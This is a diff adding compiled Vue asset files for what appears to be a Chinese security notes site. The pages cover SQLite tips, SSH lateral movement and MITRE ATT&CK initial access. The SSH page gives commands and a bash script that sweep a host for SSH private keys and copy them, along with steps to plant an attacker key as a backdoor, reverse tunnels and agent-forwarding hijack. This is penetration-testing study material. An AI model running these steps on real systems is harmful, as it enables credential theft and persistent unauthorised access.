+import{_ as o}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o as l,c as i,b as s,e as n,d as e,f as t}from"./app-880c6425.js";const c={},r=t(' SQLite virtual columns ',3),u={href:"https://antonz.org/json-virtual-columns/",target:"_blank",rel:"noopener noreferrer"},d=t(`如何在 SQLite 中使用 JSON 和 Virtual Columns 实现一些更灵活的用法
假设我们想要保留系统中一些事件的日志, 每个事件都有自己的一组字段, 例如:
登录
:
{
+ "timestamp" : "2022-05-15T09:31:00Z" ,
+ "object" : "user" ,
+ "object_id" : 11 ,
+ "action" : "login" ,
+ "details" : {
+ "ip" : "192.168.0.1"
+ }
+}
+
账户存款
:
{
+ "timestamp" : "2022-05-15T09:32:00Z" ,
+ "object" : "account" ,
+ "object_id" : 12 ,
+ "action" : "deposit" ,
+ "details" : {
+ "amount" : "1000" ,
+ "currency" : "USD"
+ }
+}
+
由于这种 json 数据的规范化并不容易, 因此可以直接存储 json
创建一个 events 表, 只包含一个 text 类型的 value 字段
value 字段的值为:
{ "timestamp" : "2022-05-15T09:31:00Z" , "object" : "user" , "object_id" : 11 , "action" : "login" , "details" : { "ip" : "192.168.0.1" } }
+{ "timestamp" : "2022-05-15T09:32:00Z" , "object" : "account" , "object_id" : 12 , "action" : "deposit" , "details" : { "amount" : "1000" , "currency" : "USD" } }
+{ "timestamp" : "2022-05-15T09:33:00Z" , "object" : "company" , "object_id" : 13 , "action" : "edit" , "details" : { "fields" : [ "address" , "phone" ] } }
+
此时可以通过 json 解构查表:
select
+ json_extract(value, '$.object') as object,
+ json_extract(value, '$.action') as action
+from events
+where json_extract(value, '$.object_id') = 11;
+
只是满足基本查询的话到此为止就足够了, 但是当数据量起来后, 查询速度会变得很慢, 此时可以通过定义虚拟列并构建索引来加快查询速度:
定义虚拟列
:
alter table events
+add column object_id integer
+as (json_extract(value, '$.object_id'));
+
+alter table events
+add column object text
+as (json_extract(value, '$.object'));
+
+alter table events
+add column action text
+as (json_extract(value, '$.action'));
+
构建索引
:
create index events_object_id on events(object_id);
+
然后使用新的虚拟列属性进行查询:
select object, action
+from events
+where object_id = 11;
+
虚拟列的使用让我们几乎拥有了一个 NoSQL 数据库😉
自增量归零 `,24),v={href:"https://www.bbsmax.com/A/n2d9l3gB5D/",target:"_blank",rel:"noopener noreferrer"},q=t(`DELETE FROM sqlite_sequence WHERE name = ‘TableName’; --可以将递增数归零
+
当 SQLite 数据库中包含自增列时,会自动建立一个名为 sqlite_sequence
的表。
sqlite_sequence
表包含两个列:name 和 seq。
UPDATE sqlite_sequence SET seq = 0 WHERE name = ‘TableName’;
+
也可以直接把该记录删掉:
DELETE FROM sqlite_sequence WHERE name = ‘TableName’;
+
要想将所有表的自增列都归零,直接清空sqlite_sequence表就可以了:
DELETE FROM sqlite_sequence;
+
Litestream `,11),m={href:"https://github.com/benbjohnson/litestream",target:"_blank",rel:"noopener noreferrer"},k={href:"https://litestream.io/getting-started/",target:"_blank",rel:"noopener noreferrer"},b={href:"https://litestream.io/install/",target:"_blank",rel:"noopener noreferrer"},g=s("p",null,[s("code",null,"Litestream"),n(" 是 SQLite 的独立流复制工具; 其作为后台进行运行, 并安全地将更改增量复制到另一个文件或 S3;")],-1),h=s("p",null,[s("code",null,"Litestream"),n(" 仅通过 "),s("code",null,"SQLite API"),n(" 与 "),s("code",null,"SQLite"),n(" 通信, 因此它并不会损坏数据库;")],-1),_=s("blockquote",null,[s("p",null,"Windows 下使用需要从源码进行构建")],-1);function j(y,x){const a=p("ExternalLinkIcon");return l(),i("div",null,[r,s("blockquote",null,[s("p",null,[s("a",u,[n("JSON and virtual columns in SQLite (antonz.org)"),e(a)])])]),d,s("blockquote",null,[s("p",null,[s("a",v,[n("SQLite 如何清空表数据并将递增量归零 (bbsmax.com)"),e(a)])])]),q,s("blockquote",null,[s("p",null,[s("a",m,[n("benbjohnson/litestream:SQLite 的 Streaming Replication。 (github.com)"),e(a)])]),s("p",null,[s("a",k,[n("Getting Started - Litestream"),e(a)])]),s("p",null,[s("a",b,[n("Install - Litestream"),e(a)])])]),g,h,_])}const L=o(c,[["render",j],["__file","SQLite.html.vue"]]);export{L as default};
diff --git "a/assets/SSH\346\250\252\345\220\221\347\247\273\345\212\250.html-638d49ba.js" "b/assets/SSH\346\250\252\345\220\221\347\247\273\345\212\250.html-638d49ba.js"
new file mode 100644
index 0000000000..00c1cc3e31
--- /dev/null
+++ "b/assets/SSH\346\250\252\345\220\221\347\247\273\345\212\250.html-638d49ba.js"
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-24e4be10","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/SSH%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8.html","title":"SSH 横向移动","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"SSH 的概念","slug":"ssh-的概念","link":"#ssh-的概念","children":[]},{"level":2,"title":"SSH 的工作流程","slug":"ssh-的工作流程","link":"#ssh-的工作流程","children":[]},{"level":2,"title":"查找 SSH 密钥","slug":"查找-ssh-密钥","link":"#查找-ssh-密钥","children":[]},{"level":2,"title":"SSH 密码后门","slug":"ssh-密码后门","link":"#ssh-密码后门","children":[]},{"level":2,"title":"SSH 反向隧道","slug":"ssh-反向隧道","link":"#ssh-反向隧道","children":[{"level":3,"title":"断网主机联网","slug":"断网主机联网","link":"#断网主机联网","children":[]},{"level":3,"title":"转发流量","slug":"转发流量","link":"#转发流量","children":[]}]},{"level":2,"title":"SSH 劫持","slug":"ssh-劫持","link":"#ssh-劫持","children":[{"level":3,"title":"SSH 代理转发","slug":"ssh-代理转发","link":"#ssh-代理转发","children":[]},{"level":3,"title":"劫持 SSH 代理转发","slug":"劫持-ssh-代理转发","link":"#劫持-ssh-代理转发","children":[]}]}],"git":{"createdTime":1699316466000,"updatedTime":1699353693000,"contributors":[{"name":"233PC","email":"ayusummer233@gmail.com","commits":1},{"name":"Ayusummer","email":"ayusummer233@gmail.com","commits":1}]},"readingTime":{"minutes":7.69,"words":2308},"filePathRelative":"网络安全/内网渗透/SSH横向移动.md","localizedDate":"2023年11月7日","excerpt":""}');export{e as data};
diff --git "a/assets/SSH\346\250\252\345\220\221\347\247\273\345\212\250.html-ba70d691.js" "b/assets/SSH\346\250\252\345\220\221\347\247\273\345\212\250.html-ba70d691.js"
new file mode 100644
index 0000000000..17c9f6e3e1
--- /dev/null
+++ "b/assets/SSH\346\250\252\345\220\221\347\247\273\345\212\250.html-ba70d691.js"
@@ -0,0 +1,83 @@
+import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as t,o as c,c as p,b as s,e as n,d as a,f as o}from"./app-880c6425.js";const r={},d=s("h1",{id:"ssh-横向移动",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#ssh-横向移动","aria-hidden":"true"},"#"),n(" SSH 横向移动")],-1),u={href:"https://www.ddosi.org/ssh-movement/",target:"_blank",rel:"noopener noreferrer"},h=s("hr",null,null,-1),m=s("h2",{id:"ssh-的概念",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#ssh-的概念","aria-hidden":"true"},"#"),n(" SSH 的概念")],-1),v={href:"https://info.support.huawei.com/info-finder/encyclopedia/zh/SSH.html",target:"_blank",rel:"noopener noreferrer"},k=s("p",null,"SSH(Secure Shell,安全外壳)是一种网络安全协议,与传统的 Telnet, FTP 使用明文传输数据不同, SSH 协议通过加密和认证机制实现安全的访问和文件传输等业务。",-1),b=s("p",null,"使用明文传输数据容易因中间人嗅探而泄露数据",-1),S={href:"https://chenzhonzhou.github.io/2021/01/04/kali-xiu-tan-qi-pian/",target:"_blank",rel:"noopener noreferrer"},g={href:"https://zhuanlan.zhihu.com/p/562434778",target:"_blank",rel:"noopener noreferrer"},_={href:"https://www.cnblogs.com/jingzh/p/16018410.html",target:"_blank",rel:"noopener noreferrer"},f={href:"https://www.geekby.site/2020/05/%E5%B8%B8%E8%A7%81%E6%9C%8D%E5%8A%A1%E7%B1%BB%E6%BC%8F%E6%B4%9E/",target:"_blank",rel:"noopener noreferrer"},H={href:"https://xueyp.github.io/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/2018/11/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-%E5%B1%80%E5%9F%9F%E7%BD%91https%E5%97%85%E6%8E%A2.html",target:"_blank",rel:"noopener noreferrer"},y=s("hr",null,null,-1),E=s("h2",{id:"ssh-的工作流程",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#ssh-的工作流程","aria-hidden":"true"},"#"),n(" SSH 的工作流程")],-1),x={href:"https://info.support.huawei.com/info-finder/encyclopedia/zh/SSH.html",target:"_blank",rel:"noopener noreferrer"},A=s("hr",null,null,-1),N={href:"https://www.ruanyifeng.com/blog/2020/07/ssh-certificate.html",target:"_blank",rel:"noopener noreferrer"},q=o(`SSH 由服务器和客户端组成,为建立安全的SSH通道,双方需要先建立TCP连接,然后协商使用的版本号和各类算法,并生成相同的会话密钥用于后续的对称加密。在完成用户认证后,双方即可建立会话进行数据交互。
SSH的工作流程包括如下几个阶段:
其中密钥交换部分的流程如下:
查找 SSH 密钥 一般在如下目录, 文件中:
/home/*
+
+
+
+cat /root/.ssh/authorized_keys
+
+cat /root/.ssh/identity.pub
+
+cat /root/.ssh/identity
+
+cat /root/.ssh/id_rsa.pub
+
+cat /root/.ssh/id_rsa
+
+cat /root/.ssh/id_dsa.pub
+
+cat /root/.ssh/id_dsa
+
+cat /etc/ssh/ssh_config
+
+cat /etc/ssh/sshd_config
+
+cat /etc/ssh/ssh_host_dsa_key.pub
+
+cat /etc/ssh/ssh_host_dsa_key
+
+cat /etc/ssh/ssh_host_rsa_key.pub
+
+cat /etc/ssh/ssh_host_rsa_key
+
+cat /etc/ssh/ssh_host_key.pub
+
+cat /etc/ssh/ssh_host_key
+
+cat ~/.ssh/authorized_keys
+
+cat ~/.ssh/identity.pub
+
+cat ~/.ssh/identity
+cat ~/.ssh/id_rsa.pub
+cat ~/.ssh/id_rsa
+cat ~/.ssh/id_dsa.pub
+cat ~/.ssh/id_dsa
+
也可以:
grep -rliF "ssh-rsa" /* --exclude = *.jar
+grep -rliF "BEGIN RSA PRIVATE KEY" /* --exclude = *.jar
+grep -rliF "BEGIN DSA PRIVATE KEY" /* --exclude = *.jar
+grep -rliF "BEGIN OPENSSH PRIVATE KEY" /* --exclude = *.jar
+
+grep -rli "ssh-rsa\\|BEGIN RSA PRIVATE KEY\\|BEGIN DSA PRIVATE KEY\\|BEGIN OPENSSH PRIVATE KEY" /* --exclude = *.jar
+
+grep -rli "BEGIN RSA PRIVATE KEY\\|BEGIN DSA PRIVATE KEY\\|BEGIN OPENSSH PRIVATE KEY" /etc/ssh/* /root/* /home/* --exclude = *.{ jar,py,pyc,js} --binary-files= without-match
+
-r
: 递归搜索-l
: 只显示文件名-F
: 按照固定字符串搜索(不加 -F
, 默认按照正则表达式搜索)-i
: 忽略大小写--exclude=*.jar
: 排除 jar 文件--binary-files=without-match
: 不匹配二进制文件
#! /bin/bash
+if [ ! -d "res" ] ; then
+ mkdir res
+fi
+
+files = $(
+ grep -rli "BEGIN RSA PRIVATE KEY\\|BEGIN DSA PRIVATE KEY\\|BEGIN OPENSSH PRIVATE KEY" /etc/ssh/* /root/* /home/* --exclude = *.{ jar,py,pyc,js} --binary-files= without-match
+)
+
+for file in $files ; do
+ cp $file res/
+done
+
+echo "Done!"
+
+
找到密钥后需要确认其可以用于哪些主机, 可以检查如下文件:
+/etc/hosts
+
+~/.ssh/known_hosts
+
+~/.bash_history
+
+~/.ssh/config
+
/etc/hosts
~/.ssh/known_hosts
~/.bash_history
~/.ssh/config
SSH 密码后门 在攻击机上生成一对密钥,将公钥贴在受感染主机的 ~/.ssh/authorized_keys
中
ssh-keygen -t rsa -C "备注信息"
+
然后将生成的 .pub
公钥放在受感染主机的 ~/.ssh/authorized_keys
中即可使用本地的私钥 SSH 连接到受感染主机了
例如在 Redis 未授权写公钥中就是将公钥写入了 authorized_keys
中再 SSH 连接的
SSH 反向隧道 断网主机联网 ssh -fNR 7890 :localhost:7890 -i [ ssh私钥绝对路径] [ 用户名] @[ 服务器IP]
+
-f
后台运行-N
不执行远程命令, 仅做端口转发-R
远程端口转发如此一来就可以在服务器上使用本地的 Clash 代理了
http代理
: http://localhost:7890
socks5代理
: socks5://localhost:7890
在打内网时可以由此实现断网主机联网的效果
转发流量 ssh -fND localhost:12345 -i [ 私钥路径] root@192.168.1.96
+
-f
表示在后台运行 ssh 命令, 不占用终端-N
表示不执行远程命令,只做端口转发-D localhost:12345
表示创建一个动态端口转发, 将本地主机的 12345 端口作为 socks 代理-i [私钥路径]
表示使用指定私钥文件进行身份验证root@192.168.1.96
表示以 root 用户登录远程主机 192.168.1.96这个命令可以使得通过 ssh 隧道访问远程主机上的网络服务, 或者使用远程主机作为代理访问其他网站
挂上后命令行会卡在这里 然后 Firefox 配置 socks 5 代理
如此这般就可以从本地的 Firefox 挂 96 的代理访问内网其他的服务了
除此以外还可以再套一层 Burpsuit: BurpSuit -> Proxy Setting -> Network->Connections->Socks proxy
配置 BurpSuit http 代理监听:
配置 Firefox http 代理
SSH 劫持 `,48),w={href:"https://attack.mitre.org/techniques/T1563/001/",target:"_blank",rel:"noopener noreferrer"},B=s("p",null,"攻击者可能会劫持一个当前拿下的主机与另一个主机的连接, 利用当前 SSH 会话中的公钥身份验证与其他系统建立的信任关系, 这可能是通过损害 SSH 代理本身或访问访问代理的socket来实现的;",-1),I=s("p",null,"SSH 劫持与 SSH 本身不同之处在于它劫持现有的 SSH session 而非使用有效的账户创建一个新的 session",-1),D=s("hr",null,null,-1),P=s("h3",{id:"ssh-代理转发",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#ssh-代理转发","aria-hidden":"true"},"#"),n(" SSH 代理转发")],-1),R={href:"https://www.ddosi.org/ssh-movement/",target:"_blank",rel:"noopener noreferrer"},V=s("p",null,"SSH 代理的工作原理是允许一个中间机器 SSH Server 将 Local Host 的 SSH 密钥从当前客户端传递(转发)到下一个下游服务器 Remote Host",-1),T=o(`在这个过程中, SSH Server 中并不会存储也不会物理访问而仅仅是将密钥传递给 Remote Host
劫持 SSH 代理转发 SSH 代理转发允许用户在不输入密码的情况下连接到其他机器。当存在活动会话时,可以利用此功能访问受感染用户 SSH 密钥有权访问的任何主机(无需直接访问密钥)。
+ssh -i [ 私钥路径] [ 账户] /[ 主机]
+
+ssh -i [ 远程私钥路径] -o ProxyCommand = "ssh -i [本地私钥路径] -W %h:%p [中间主机账户]/[中间主机]" [ 账户] /[ 远程主机]
+
-i
: 指定私钥路径-o ProxyCommand
: 指定代理命令-W %h:%p
: 指定代理命令的参数, %h
为远程主机, %p
为远程主机的端口号 将SSH连接建立到远程主机hostname,并且将本地流量通过SSH通道传送到远程主机的%h和%p所表示的目标主机和端口。
ssh -i [ 本地私钥路径] -o ProxyCommand = "ssh -i [中间跳板1的私钥路径] -W %h:%p [中间跳板1的用户名]@[中间跳板1的主机名或IP地址] | ssh -i [中间跳板2的私钥路径] -W %h:%p [中间跳板2的用户名]@[中间跳板2的主机名或IP地址]" [ 目标主机的用户名] @[ 目标主机的主机名或IP地址]
+
`,8);function F(z,G){const e=t("ExternalLinkIcon"),i=t("Mermaid");return c(),p("div",null,[d,s("blockquote",null,[s("p",null,[s("a",u,[n("SSH横向移动备忘单|ssh内网横向渗透技巧 - 🔰雨苁ℒ🔰 (ddosi.org)"),a(e)])])]),h,m,s("blockquote",null,[s("p",null,[s("a",v,[n("什么是SSH?SSH是如何工作的? - 华为 (huawei.com)"),a(e)])])]),k,s("blockquote",null,[b,s("blockquote",null,[s("p",null,[s("a",S,[n("嗅探欺骗 | 凡间的精灵 (chenzhonzhou.github.io)"),a(e)])]),s("p",null,[s("a",g,[n("中间人攻击之ARP欺骗 - 知乎 (zhihu.com)"),a(e)])]),s("p",null,[s("a",_,[n("Telnet,Mstsc,SSH,FTP之间的比较和区别 - 上善若泪 - 博客园 (cnblogs.com)"),a(e)])]),s("p",null,[s("a",f,[n("常见服务类漏洞 - Geekby's Blog"),a(e)])]),s("p",null,[s("a",H,[n("旭日酒馆 (xueyp.github.io)"),a(e)])])])]),y,E,s("blockquote",null,[s("p",null,[s("a",x,[n("什么是SSH?SSH是如何工作的? - 华为 (huawei.com)"),a(e)])]),A,s("p",null,[s("a",N,[n("SSH 证书登录教程 - 阮一峰的网络日志 (ruanyifeng.com)"),a(e)])])]),q,s("blockquote",null,[s("p",null,[s("a",w,[n("Remote Service Session Hijacking: SSH Hijacking, Sub-technique T1563.001 - Enterprise | MITRE ATT&CK®"),a(e)])])]),B,I,D,P,s("blockquote",null,[s("p",null,[s("a",R,[n("SSH横向移动备忘单|ssh内网横向渗透技巧 - 🔰雨苁ℒ🔰 (ddosi.org)"),a(e)])])]),V,a(i,{id:"mermaid-312",code:"eJxLL0osyFDwCeJSAILi0iQI3zknMzWvBCwGAo4aGj75yYk5Ch75xSW6NklFdoYGBnqGIGhsqKkJVpeal8KFakhwalFZahHcECcNjaDU3PySVCRTLI30DM0sgOYYGeIxJ9gD3SxnDY2AovyKSgxTTNFNcVTQ1bWrARnhnJ+Xl5pckpmfV6PgDJZzxirnxMUFAEshSAY="}),T])}const j=l(r,[["render",F],["__file","SSH横向移动.html.vue"]]);export{j as default};
diff --git a/assets/SearchResult-9ff2c55d.js b/assets/SearchResult-9ff2c55d.js
new file mode 100644
index 0000000000..62af590360
--- /dev/null
+++ b/assets/SearchResult-9ff2c55d.js
@@ -0,0 +1 @@
+import{u as U,g as ee,h as B,i as M,j as ae,k as le,l as se,m as x,n as b,p as te,q as Y,s as l,v as _,x as F,R as I,y as re,z as ue,A as ie,B as ne,C as oe,O as ce,D as ve,E as pe,F as he,G as ye,H as de,I as me,J as E,K as fe}from"./app-880c6425.js";const ge="SEARCH_PRO_QUERY_HISTORY",y=U(ge,[]),Re=()=>{const{queryHistoryCount:r}=E,n=r>0;return{enabled:n,queryHistory:y,addQueryHistory:t=>{n&&(y.value.length{y.value=[...y.value.slice(0,t),...y.value.slice(t+1)]}}},He="SEARCH_PRO_RESULT_HISTORY",{resultHistoryCount:D}=E,d=U(He,[]),Qe=()=>{const r=B(),n=D>0,t=s=>r.resolve({name:s.key,..."anchor"in s?{hash:`#${s.anchor}`}:{}}).fullPath;return{enabled:n,resultHistory:d,addResultHistory:s=>{if(n){const u={link:t(s),display:s.display};"header"in s&&(u.header=s.header),d.value.length{d.value=[...d.value.slice(0,s),...d.value.slice(s+1)]}}},ke=r=>{const n=oe(),t=M(),{search:s,terminate:u}=ce(),f=x(!1),g=ve([]);return pe(()=>{const m=()=>{g.value=[],f.value=!1},w=fe(R=>{f.value=!0,R?s({type:"search",query:R,locale:t.value,options:n}).then(h=>{g.value=h,f.value=!1}).catch(h=>{console.error(h),m()}):m()},E.searchDelay);Y([r,t],()=>w(r.value),{immediate:!0}),he(()=>{u()})}),{searching:f,results:g}};var we=ee({name:"SearchResult",props:{query:{type:String,required:!0},isFocusing:Boolean},emits:["close","updateQuery"],setup(r,{emit:n}){const t=B(),s=M(),u=ae(le),{enabled:f,addQueryHistory:g,queryHistory:m,removeQueryHistory:w}=Re(),{enabled:R,resultHistory:h,addResultHistory:L,removeResultHistory:j}=Qe(),O=f||R,S=se(r,"query"),{results:H,searching:z}=ke(S),o=x({isQuery:!0,index:0}),p=x(0),c=x(0),P=b(()=>O&&(m.value.length>0||h.value.length>0)),C=b(()=>H.value.length>0),q=b(()=>H.value[p.value]||null),T=e=>t.resolve({name:e.key,..."anchor"in e?{hash:`#${e.anchor}`}:{}}).fullPath,G=()=>{const{isQuery:e,index:a}=o.value;a===0?o.value={isQuery:!e,index:e?h.value.length-1:m.value.length-1}:o.value={isQuery:e,index:a-1}},J=()=>{const{isQuery:e,index:a}=o.value;a===(e?m.value.length-1:h.value.length-1)?o.value={isQuery:!e,index:0}:o.value={isQuery:e,index:a+1}},K=()=>{p.value=p.value>0?p.value-1:H.value.length-1,c.value=q.value.contents.length-1},V=()=>{p.value=p.value{c.value{c.value>0?c.value=c.value-1:K()},A=e=>e.map(a=>ye(a)?a:l(a[0],a[1])),X=e=>{if(e.type==="customField"){const a=de[e.index]||"$content",[i,k=""]=me(a)?a[s.value].split("$content"):a.split("$content");return e.display.map(v=>l("div",A([i,...v,k])))}return e.display.map(a=>l("div",A(a)))},Q=()=>{p.value=0,c.value=0,n("updateQuery",""),n("close")};return te("keydown",e=>{if(r.isFocusing){if(C.value){if(e.key==="ArrowUp")W();else if(e.key==="ArrowDown")N();else if(e.key==="Enter"){const a=q.value.contents[c.value],i=T(a);g(r.query),L(a),t.push(i),Q()}}else if(R){if(e.key==="ArrowUp")G();else if(e.key==="ArrowDown")J();else if(e.key==="Enter"){const{index:a}=o.value;o.value.isQuery?(n("updateQuery",m.value[a]),e.preventDefault()):(t.push(h.value[a].link),Q())}}}}),Y([p,c],()=>{var e;(e=document.querySelector(".search-pro-result-list-item.active .search-pro-result-item.active"))==null||e.scrollIntoView(!1)},{flush:"post"}),()=>l("div",{class:["search-pro-result-wrapper",{empty:S.value?!C.value:!P.value}],id:"search-pro-results"},S.value===""?O?P.value?[f?l("ul",{class:"search-pro-result-list"},l("li",{class:"search-pro-result-list-item"},[l("div",{class:"search-pro-result-title"},u.value.history),m.value.map((e,a)=>l("div",{class:["search-pro-result-item",{active:o.value.isQuery&&o.value.index===a}],onClick:()=>{n("updateQuery",e)}},[l(_,{class:"search-pro-result-type"}),l("div",{class:"search-pro-result-content"},e),l("button",{class:"search-pro-remove-icon",innerHTML:F,onClick:i=>{i.preventDefault(),i.stopPropagation(),w(a)}})]))])):null,R?l("ul",{class:"search-pro-result-list"},l("li",{class:"search-pro-result-list-item"},[l("div",{class:"search-pro-result-title"},u.value.history),h.value.map((e,a)=>l(I,{to:e.link,class:["search-pro-result-item",{active:!o.value.isQuery&&o.value.index===a}],onClick:()=>{Q()}},()=>[l(_,{class:"search-pro-result-type"}),l("div",{class:"search-pro-result-content"},[e.header?l("div",{class:"content-header"},e.header):null,l("div",e.display.map(i=>A(i)).flat())]),l("button",{class:"search-pro-remove-icon",innerHTML:F,onClick:i=>{i.preventDefault(),i.stopPropagation(),j(a)}})]))])):null]:u.value.emptyHistory:u.value.emptyResult:z.value?l(re,{hint:u.value.searching}):C.value?l("ul",{class:"search-pro-result-list"},H.value.map(({title:e,contents:a},i)=>{const k=p.value===i;return l("li",{class:["search-pro-result-list-item",{active:k}]},[l("div",{class:"search-pro-result-title"},e||u.value.defaultTitle),a.map((v,Z)=>{const $=k&&c.value===Z;return l(I,{to:T(v),class:["search-pro-result-item",{active:$,"aria-selected":$}],onClick:()=>{g(r.query),L(v),Q()}},()=>[v.type==="text"?null:l(v.type==="title"?ue:v.type==="heading"?ie:ne,{class:"search-pro-result-type"}),l("div",{class:"search-pro-result-content"},[v.type==="text"&&v.header?l("div",{class:"content-header"},v.header):null,l("div",X(v))])])})])})):u.value.emptyResult)}});export{we as default};
diff --git a/assets/TA0001-InitialAccess.html-0a52494f.js b/assets/TA0001-InitialAccess.html-0a52494f.js
new file mode 100644
index 0000000000..07529b1127
--- /dev/null
+++ b/assets/TA0001-InitialAccess.html-0a52494f.js
@@ -0,0 +1 @@
+import{_ as n}from"./plugin-vue_export-helper-c27b6911.js";import{r as a,o as s,c as i,b as e,e as t,d as o,f as l}from"./app-880c6425.js";const h={},c=e("h1",{id:"ta0001-initialaccess-初始访问",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#ta0001-initialaccess-初始访问","aria-hidden":"true"},"#"),t(" TA0001-InitialAccess 初始访问")],-1),_={href:"https://attack.mitre.org/tactics/TA0001/",target:"_blank",rel:"noopener noreferrer"},d={href:"https://github.com/Dm2333/ATTCK-PenTester-Book",target:"_blank",rel:"noopener noreferrer"},p=e("hr",null,null,-1),u=e("p",null,"The adversary is trying to get into your network.",-1),g=e("p",null,"攻击者正试图进入您的网络。",-1),f=e("p",null,"Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.",-1),m=e("p",null,"初始访问包括使用各种入口向量在网络中获得初始立足点的技术。用于获得立足点的技术包括有针对性的鱼叉式网络钓鱼和利用面向公众的 Web 服务器上的漏洞。 这种战术通常是在侦查和资源开发等战术之后的下一步",-1),k=e("p",null,"攻击者通过初始访问获得的立足点可能会利用有效帐户或是使用外部远程服务继续访问内网,不过也可能由于获取到的账户及时更改了密码而被限制使用。",-1),b=e("hr",null,null,-1),S={id:"t1189-drive-by-compromise-水坑攻击",tabindex:"-1"},M=e("a",{class:"header-anchor",href:"#t1189-drive-by-compromise-水坑攻击","aria-hidden":"true"},"#",-1),D={href:"https://attack.mitre.org/techniques/T1189",target:"_blank",rel:"noopener noreferrer"},w={href:"https://attack.mitre.org/techniques/T1550/001",target:"_blank",rel:"noopener noreferrer"},v=l('攻击者可能通过用户在正常浏览过程中访问网站来获取访问系统的权限。
在这种技术中,用户的 Web 浏览器通常成为利用的目标,但攻击者也可能使用受感染的网站进行非利用行为,例如获取 Application Access Token 。
应用程序访问令牌是一种授权机制, 可以让用户或应用程序访问受保护的应用程序和信息 攻击者可能通过弹窗等方式, 将用户引导到一个恶意的应用程序从而窃取用户的应用程序访问令牌 Drive-by Shooting
是一种犯罪行为, 指的是从一辆行驶中的车上向路边的人或者建筑开枪
Drive-by Compromise
的意思是, 攻击者从一个受控网站向该网站的用户发起攻击
这里的 Compromise
是指使某人受到损害或者危险
类似于一种捕猎方法,指的是在动物经常来饮水的地方埋伏,等待猎物上钩。水坑攻击的意思是,对手在目标用户经常访问的网站埋伏,等待用户访问该网站,然后利用该网站向用户传播恶意代码或者窃取用户信息。
之所以说获取应用访问令牌是一种非利用行为是因为他不需要对用户的浏览器或者是系统进行任何攻击或是破坏, 对方只需要利用被贡献的网站来诱导用户授权一个恶意的应用程序从而获取应用程序访问令牌 分析并了解目标的上网活动规律,寻找目标经常访问的网站的漏洞,利用漏洞在该网站植入恶意代码(陷阱、水坑),在目标进行访问时,攻击形成
多种可能被植入的代码,包括
通过注入某些形式的恶意代码。例如:JavaScript、iframe、跨站脚本等 植入恶意的广告链接 内置的 Web 应用程序接口用于插入任何其他类型的对象,该对象可用于显示 Web 内容或包含在访问客户端上执行的脚本(例如,论坛帖子,评论和其他用户可控制的 Web 内容) 重定向用户所经常访问的站点到恶意站点 在页面嵌入存储型 XSS,获得用户 cookie 信息 编写具有恶意功能的 javascript 语句,例如获取登录用户 cookie、内网 ip、 截屏、网页源代码等操作,配合 XSS 平台可查看获取到的信息
phpstudy backdoor 2019 年 9 月 20 日杭州公安微信公众账号发布了“杭州警方通报打击涉网违法 犯罪暨“净网 2019”专项行动战果”的文章,文章里说明 phpstudy 存在“后门”,攻击者通过在 phpstudy 2016 php5.4 和 phpstudy2018 php-5.2.17 和 php-5.4.45 中植入后门并发布至互联网,导致大量使用 phpstudy 的用户成为肉鸡
Beef 攻击框架 BeEF攻击框架是一款专门针对浏览器的渗透测试工具,它可以利用浏览器的漏洞或者XSS攻击来控制受害者的浏览器,从而执行各种恶意的命令或者社工操作。BeEF是用Ruby语言开发的,Kali Linux中默认安装了BeEF,也可以在其他系统中自行安装。BeEF的原理是在受害者访问的网页中插入一段名为hook.js的JS脚本代码,如果浏览器加载了这个脚本,就会被勾住,然后定期向BeEF服务器发送请求,询问是否有新的命令需要执行。BeEF服务器可以通过一个Web界面来管理和操作被勾住的浏览器,有很多内置的模块可以选择,比如获取cookie、重定向网页、弹出窗口、克隆网站等。BeEF也可以和其他工具结合使用,比如Metasploit、Bettercap等,实现更强大的攻击效果。
缓解措施 ',19),A={href:"https://attack.mitre.org/mitigations/M1048",target:"_blank",rel:"noopener noreferrer"},y={href:"https://attack.mitre.org/mitigations/M1048",target:"_blank",rel:"noopener noreferrer"},C=e("p",null,"浏览器沙箱可用于减轻利用的一些影响,但沙箱逃逸可能仍然存在。",-1),T=e("p",null,"其他类型的虚拟化和应用程序微分段也可以减轻客户端利用的影响。这些类型的系统可能仍然存在额外漏洞利用和实施弱点的风险。",-1),x={href:"https://attack.mitre.org/mitigations/M1050",target:"_blank",rel:"noopener noreferrer"},L={href:"https://attack.mitre.org/mitigations/M1050",target:"_blank",rel:"noopener noreferrer"},N=e("p",null,"可以使用 Windows Defender Exploit Guard (WDEG) 和 Enhanced Mitigation Experience Toolkit (EMET) 等寻找利用期间使用的行为的安全应用程序来减轻某些利用行为。",-1),P=e("p",null,"控制流完整性检查是另一种可能识别和阻止软件攻击发生的方法。",-1),F=e("p",null,"这些保护中的许多都依赖于体系结构和目标应用程序二进制文件的兼容性。",-1),I={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},E={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},U=e("p",null,"对于通过广告提供的恶意代码,广告拦截器可以帮助阻止该代码在第一时间执行。",-1),W=e("p",null,"脚本阻止扩展可以帮助防止在开发过程中经常使用的 JavaScript 的执行。",-1),q={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},B={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},R=e("p",null,"确保所有浏览器和插件保持更新有助于防止此技术的利用阶段。使用启用了安全功能的现代浏览器。",-1),V=e("hr",null,null,-1),H=e("h3",{id:"检测",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测","aria-hidden":"true"},"#"),t(" 